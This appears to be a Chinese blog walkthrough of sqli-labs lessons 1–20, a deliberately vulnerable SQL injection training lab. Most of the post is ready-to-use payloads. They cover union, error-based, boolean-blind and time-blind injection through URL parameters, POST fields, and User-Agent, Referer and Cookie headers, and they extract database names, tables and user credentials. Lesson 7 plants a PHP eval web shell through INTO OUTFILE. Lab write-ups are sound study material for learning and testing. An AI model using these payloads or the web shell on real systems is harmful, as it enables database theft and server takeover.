Sqli-labs解题一(Page-1-Basic Challenges)

Less-1 单引号字符型注入

输入单引号’,页面报错如下
在这里插入图片描述
根据报错知道是单引号字符型注入
判断有多少列(ORDER BY 语句用于根据指定的列对结果集进行排序)

?id=1' order by 3 --+

爆库名

?id=-1' union select 1,database(),3  --+

在这里插入图片描述
爆表名

?id=-1' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database() --+

在这里插入图片描述
爆字段名

?id=-1' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_schema=database() and table_name='users' --+

在这里插入图片描述
爆payload

?id=-1' union select 1,group_concat(username,0x3a,password) ,3 from users --+

在这里插入图片描述

Less-2 整型注入

输入单引号’,页面报错如下
在这里插入图片描述
根据报错知道是数字型注入
注入方式参考Less-1

Less-3 单括号变形字符型注入

输入单引号’,页面报错如下
在这里插入图片描述
根据报错知道,是单括号字符型注入
注入方式参考Less-1

Less-4 双引号字符型注入

输入双引号",页面报错如下
在这里插入图片描述
根据报错知道,是双引号字符型注入
注入方式参考Less-1

Less-5 单引号字符型注入

输入单引号’,页面报错如下
在这里插入图片描述
闭合后,显示如下信息
在这里插入图片描述
可使用布尔型盲注、时间延迟型注入及报错型注入
方法1:时间延迟盲注
时间延迟型手工注入,正确会延迟,错误没有延迟,可以通过浏览器的刷新提示观察延迟情况。
爆库长

?id=1'and if(length(database())=8,sleep(5),1) --+

页面响应明显延迟,库名长度为8。
爆库名

?id=1'and if(left(database(),1)='s',sleep(5),1) --+

明显延迟,数据库第一个字符为s,接下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’
爆表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(5),1) --+

通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.
爆列名

?id=1' and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i',sleep(5),1) --+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,limit 2,1的时候查到了password列,同样的方法limit 1,1查询username列。
爆字段

?id=1' and if(left((select password from users order by id limit 0,1),1)='d',sleep(5),1) --+
?id=1' and if(left((select username from users order by id limit 0,1),1)='d',sleep(5),1) --+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

方法2: 布尔型盲注
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破。

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
爆库名长度

?id=1' and length(database())=8  --+

爆库名

?id=1' and  left((select database()),1)='s'  --+

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
爆表名

?id=1' and  left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' --+

爆列名

?id=1' and  left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i' --+

爆字段

?id=1' and  left((select password from users order by id limit 0,1),1)='d' --+
?id=1' and  left((select username from users order by id limit 0,1),1)='d' --+

认识苦短,遇到时间延迟盲注和布尔类型盲注,还是用python吧

方法3:报错注入
爆库名

?id=1' and (extractvalue(1, concat(0x5c,(select database() )))) --+

在这里插入图片描述

爆表名

?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database() )))) --+

在这里插入图片描述
爆列名

?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' )))) --+

在这里插入图片描述
爆字段:

?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(username,0x3a,password) from users  )))) --+

在这里插入图片描述
显然没有完全显示,使用where username not in (‘Dumb’,‘I-kill-you’)来显示其他值

?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+

Less-6 双注入双引号字符型

输入双引号"
在这里插入图片描述
根据报错,可知通过双引号"闭合。
注入方法参考Less-5

Less-7 导出文件GET字符型注入

查看源码,知道是通过’))闭合。
在这里插入图片描述
payload:

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]); ?>' into outfile "C:\\soft\\WWW\\sqli\\uuu.php" --+

查看上传目录下存在uuu.php文件。
上菜刀连接
在这里插入图片描述
备注:
这个方法需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。如果你使用的时phpstudy,或者xammp请修改其自己的环境里的mysql配置文件。

进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数

如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可

Less-8 单引号布尔类型盲注

?id=1有回显 ?id=1’ 不回显
构造?id=1’ and 1=1 --+ 有回显
构造?id=1’ and 1=2 --+ 不回显
注入方法参考Less-5 方法2

Less-9 单引号时间类型盲注

构造时间盲注 ?id=1’ and sleep(5) --+,发现页面明显延迟
注入方法参考Less-5方法1

Less-10 双引号时间类型注入

构造时间盲注 ?id=1" and sleep(5) --+,发现页面明显延迟
注入方法参考Less-5方法1

Less-11 POST方法-单引号字符型注入

浏览器设置本地代理,burpsuite设置代理。
输入任意用户名和密码,burpsuite抓取请求包。
在这里插入图片描述
输入单引号’,报错如下
在这里插入图片描述
判断有几列

uname=admin&passwd=123456' order by 3--+&submit=Submit

在这里插入图片描述

爆库名

uname=admin&passwd=123456' union select 1,database()--+&submit=Submit

在这里插入图片描述
爆表名

uname=admin&passwd=123456' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&submit=Submit

在这里插入图片描述
爆列名

uname=admin&passwd=123456' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+&submit=Submit

在这里插入图片描述
爆字段

uname=admin&passwd=123456' union select 1, group_concat(username,0x3a,password) from users --+&submit=Submit

在这里插入图片描述

Less-12 POST方法-双引号+括号字符型注入

burpsuite抓取,输入双引号,报错如下
在这里插入图片描述
爆库名

uname=admin&passwd=123456") union select 1,database() --+&submit=Submit

在这里插入图片描述
爆表名、列名、字段内容参考Less-11

Less-13 POST方法-单引号+括号字符型注入

burpsuite抓取,输入单引号,报错如下
在这里插入图片描述
通过报错可知 是通过’) 闭合的
可参考之前的报错注入payload进行注入
eg:爆库名

uname=admin&passwd=admin') and (extractvalue(1, concat(0x5c,(select database() ))))  --+&submit=Submit

方法2:时间盲注
eg:

uname=admin') and if(length(database())=8,sleep(5),1)--+ &passwd=admin&submit=Submit

其他payload参考Less-5

Less-14 POST单引号变形双注入

通过报错,可知通过"闭合。
eg :爆库名

uname=admin&passwd=123456" and (extractvalue(1, concat(0x5c,(select database() )))) --+&submit=Submit

Less-15 基于bool型/时间延迟单引号POST型盲注

方法一:布尔盲注

uname=admin' and 1=1 --+  &passwd=123456 &submit=Submit  #登录成功

在这里插入图片描述

uname=admin' and 1=2 --+  &passwd=123456 &submit=Submit  #登录失败

在这里插入图片描述
爆库名

uname=admin' and left((select database()),1)='s' --+ &passwd=123456 &submit=Submit

在这里插入图片描述
其他参考上面
方法二:时间盲注
eg:爆库名

uname=admin' and  if(left((select database()),1)='s',sleep(5),1) --+ &passwd=123456 &submit=Submit

Less-16 基于bool型/时间延迟的双引号POST型盲注

闭合方式")
布尔/时间盲注方式与Less-15相同

Less-17 基于错误的更新查询POST注入

闭合方式单引号’
保存注入
爆库名

uname=admin&passwd=123456'and updatexml(0x3a,concat(1,(select database())),1) --+&submit=Submit

在这里插入图片描述
爆表名

uname=admin&passwd=123456'and updatexml(0x3a,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1) --+&submit=Submit

在这里插入图片描述
爆列名

uname=admin&passwd=123456'and updatexml(0x3a,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) --+&submit=Submit

在这里插入图片描述
爆字段内容

uname=admin&passwd=123456'and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

Less-18 基于错误的用户代理,头部POST注入

成功登录后,页面回显user-agent
在这里插入图片描述
修改user-agent为:

User-Agent: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

在这里插入图片描述
其他参考上面

Less-19 基于头部的Referer POST报错注入

成功登录后,页面回显Referer
在这里插入图片描述
修改Referer为:

Referer: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

在这里插入图片描述
其他参考上面

Less-20 基于错误的cookie头部POST注入

登录成功后,抓包修改cookie,报语法错误。
在这里插入图片描述
爆库名

Cookie: uname=-Dumb' union select 1,2,database() --+

在这里插入图片描述
报表名、列名、字段可参考Less-1。

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值